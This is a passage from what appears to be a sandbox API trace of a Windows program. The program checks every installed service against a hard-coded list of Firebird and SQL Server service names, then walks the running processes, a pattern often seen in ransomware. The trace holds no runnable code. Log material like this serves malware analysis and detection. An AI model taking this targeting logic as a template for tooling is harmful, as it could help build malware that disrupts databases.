lpString2="BITS") returned 1 [0287.492] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0287.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0287.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0287.492] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0287.492] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0287.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0287.492] lstrlenW (lpString="CDPSvc") returned 6 [0287.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0287.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0287.492] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0287.492] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0287.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0287.492] lstrlenW (lpString="ClickToRunSvc") returned 13 [0287.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0287.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0287.492] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0287.492] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0287.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0287.492] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0287.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0287.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0287.492] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0287.492] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0287.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0287.492] lstrlenW (lpString="CryptSvc") returned 8 [0287.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0287.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0287.493] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0287.493] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0287.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0287.493] lstrlenW (lpString="DcomLaunch") returned 10 [0287.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0287.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0287.493] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0287.493] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0287.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0287.493] lstrlenW (lpString="DeviceAssociationService") returned 24 [0287.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0287.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0287.493] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0287.493] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0287.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0287.493] lstrlenW (lpString="Dhcp") returned 4 [0287.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0287.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0287.493] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0287.493] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0287.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0287.493] lstrlenW (lpString="Dnscache") returned 8 [0287.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0287.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0287.493] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0287.493] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0287.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0287.493] lstrlenW (lpString="DoSvc") returned 5 [0287.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0287.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0287.493] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0287.494] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0287.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0287.494] lstrlenW (lpString="DPS") returned 3 [0287.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0287.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0287.535] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0287.535] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0287.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0287.535] lstrlenW (lpString="DusmSvc") returned 7 [0287.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0287.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0287.535] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0287.535] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0287.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0287.535] lstrlenW (lpString="EventLog") returned 8 [0287.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0287.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0287.535] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0287.535] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0287.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0287.535] lstrlenW (lpString="EventSystem") returned 11 [0287.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0287.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0287.536] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0287.536] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0287.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0287.536] lstrlenW (lpString="FontCache") returned 9 [0287.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0287.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0287.536] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0287.536] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0287.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0287.536] lstrlenW (lpString="gpsvc") returned 5 [0287.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0287.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0287.536] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0287.536] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0287.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0287.536] lstrlenW (lpString="iphlpsvc") returned 8 [0287.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0287.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0287.536] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0287.536] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0287.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0287.536] lstrlenW (lpString="KeyIso") returned 6 [0287.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0287.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0287.536] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0287.536] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0287.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0287.537] lstrlenW (lpString="LanmanServer") returned 12 [0287.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0287.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0287.537] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0287.537] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0287.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0287.537] lstrlenW (lpString="LanmanWorkstation") returned 17 [0287.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0287.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0287.537] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0287.537] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0287.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0287.537] lstrlenW (lpString="lfsvc") returned 5 [0287.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0287.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0287.537] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0287.537] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0287.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0287.537] lstrlenW (lpString="lmhosts") returned 7 [0287.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0287.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0287.537] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0287.537] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0287.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0287.537] lstrlenW (lpString="LSM") returned 3 [0287.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0287.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0287.537] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0287.537] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0287.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0287.537] lstrlenW (lpString="MpsSvc") returned 6 [0287.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0287.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0287.538] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0287.538] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0287.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0287.538] lstrlenW (lpString="NcbService") returned 10 [0287.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0287.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0287.538] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0287.538] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0287.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0287.538] lstrlenW (lpString="netprofm") returned 8 [0287.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0287.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0287.538] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0287.538] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0287.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0287.538] lstrlenW (lpString="NgcSvc") returned 6 [0287.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0287.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0287.538] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0287.538] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0287.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0287.538] lstrlenW (lpString="NlaSvc") returned 6 [0287.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0287.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0287.538] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0287.538] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0287.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0287.538] lstrlenW (lpString="nsi") returned 3 [0287.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0287.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0287.538] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0287.538] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0287.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0287.539] lstrlenW (lpString="PcaSvc") returned 6 [0287.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0287.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0287.539] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0287.539] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0287.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0287.539] lstrlenW (lpString="PlugPlay") returned 8 [0287.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0287.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0287.539] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0287.539] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0287.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0287.539] lstrlenW (lpString="Power") returned 5 [0287.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0287.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0287.539] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0287.539] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0287.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0287.541] lstrlenW (lpString="ProfSvc") returned 7 [0287.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0287.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0287.541] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0287.541] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0287.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0287.541] lstrlenW (lpString="RpcEptMapper") returned 12 [0287.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0287.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0287.541] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0287.541] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0287.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0287.541] lstrlenW (lpString="RpcSs") returned 5 [0287.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0287.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0287.541] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0287.541] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0287.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0287.541] lstrlenW (lpString="SamSs") returned 5 [0287.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0287.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0287.541] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0287.541] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0287.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0287.541] lstrlenW (lpString="Schedule") returned 8 [0287.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0287.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0287.542] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0287.542] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0287.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0287.542] lstrlenW (lpString="SecurityHealthService") returned 21 [0287.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0287.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0287.542] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0287.542] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0287.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0287.542] lstrlenW (lpString="SENS") returned 4 [0287.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0287.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0287.542] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0287.542] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0287.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0287.542] lstrlenW (lpString="ShellHWDetection") returned 16 [0287.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0287.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0287.542] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0287.542] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0287.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0287.542] lstrlenW (lpString="Spooler") returned 7 [0287.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0287.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0287.542] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0287.542] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0287.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0287.542] lstrlenW (lpString="SSDPSRV") returned 7 [0287.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0287.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0287.542] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0287.542] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0287.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0287.543] lstrlenW (lpString="StateRepository") returned 15 [0287.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0287.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0287.543] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0287.543] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0287.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0287.543] lstrlenW (lpString="SysMain") returned 7 [0287.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0287.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0287.543] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0287.543] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0287.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0287.543] lstrlenW (lpString="SystemEventsBroker") returned 18 [0287.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0287.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0287.543] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0287.543] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0287.543] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f8ae98 | out: hHeap=0x6e0000) returned 1 [0287.543] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x418 [0287.546] Process32FirstW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0287.546] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0287.547] lstrlenW (lpString="System") returned 6 [0287.547] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0287.548] lstrlenW (lpString="smss.exe") returned 8 [0287.548] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0287.548] lstrlenW (lpString="csrss.exe") returned 9 [0287.548] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0287.549] lstrlenW (lpString="wininit.exe") returned 11 [0287.549] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0287.550] lstrlenW (lpString="csrss.exe") returned 9 [0287.550] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0287.550] lstrlenW (lpString="winlogon.exe") returned 12 [0287.550] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0287.551] lstrlenW (lpString="services.exe") returned 12 [0287.551] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0287.552] lstrlenW (lpString="lsass.exe") returned 9 [0287.552] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0287.553] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0287.553] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0287.553] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0287.553] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.554] lstrlenW (lpString="svchost.exe") returned 11 [0287.554] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.555] lstrlenW (lpString="svchost.exe") returned 11 [0287.555] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, 